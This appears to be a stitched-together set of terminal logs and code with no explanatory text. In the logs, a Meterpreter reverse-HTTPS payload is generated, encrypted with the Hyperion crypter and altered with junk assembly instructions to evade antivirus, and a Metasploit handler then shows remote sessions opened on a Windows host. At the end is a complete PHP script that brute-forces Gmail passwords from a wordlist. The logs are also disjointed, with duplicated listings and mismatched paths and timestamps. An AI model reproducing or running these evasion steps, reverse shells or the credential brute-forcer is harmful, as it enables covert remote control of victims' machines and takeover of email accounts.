root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip 
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe

root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos

root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw 
binario.raw: data

root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch

.section '.text' rwx
.entrypoint

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe 
carga.exe: MS-DOS executable, MZ for MS-DOS

root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443 
[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > 

<?php
 
/*
 
   author..............: s3n4t00r
   home................: sec-w.com
   Toolname............: Gmail Brute Force v1.0
   Demonstration ......: http://youtu.be/QdEvoJdENBY
 
 
 
*/
set_time_limit(0);
 
print_r ("
 
#---------------------------------------->
# ToolName      : Gmail Brute Force v1.0
#
# Programmed    : s3n4t00r
#
# Home          : Sec-w.com
#---------------------------------------->
\n\n");
 
 
if ($argc < 3)
{
            print "\nUsage......: php $argv[0] <mail> <list pass>\n";
            print "\nExample....: php $argv[0] [email protected] pass.txt \n";
            die();
}
 
 
function sws_gmail($mail,$pass){
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://mail.google.com/mail/feed/atom');
curl_setopt($ch, CURLOPT_USERPWD, $mail.':'.$pass);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
$result = curl_exec($ch);
$returnCode = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
 
return $returnCode;
}
 
list($mail, $list,) = array($argv[1], $argv[2]);
 
$lists = file($list);
 
foreach ($lists as $pass){
 
         $gmail = sws_gmail($mail,trim($pass));
         echo "[+]Testing -> ".$pass."\n";
         if($gmail == '200'){
 
            echo "[+]Password Cracked -> ".$pass;
            die("\n");
         }
}
 
die("# Failed");
 
?>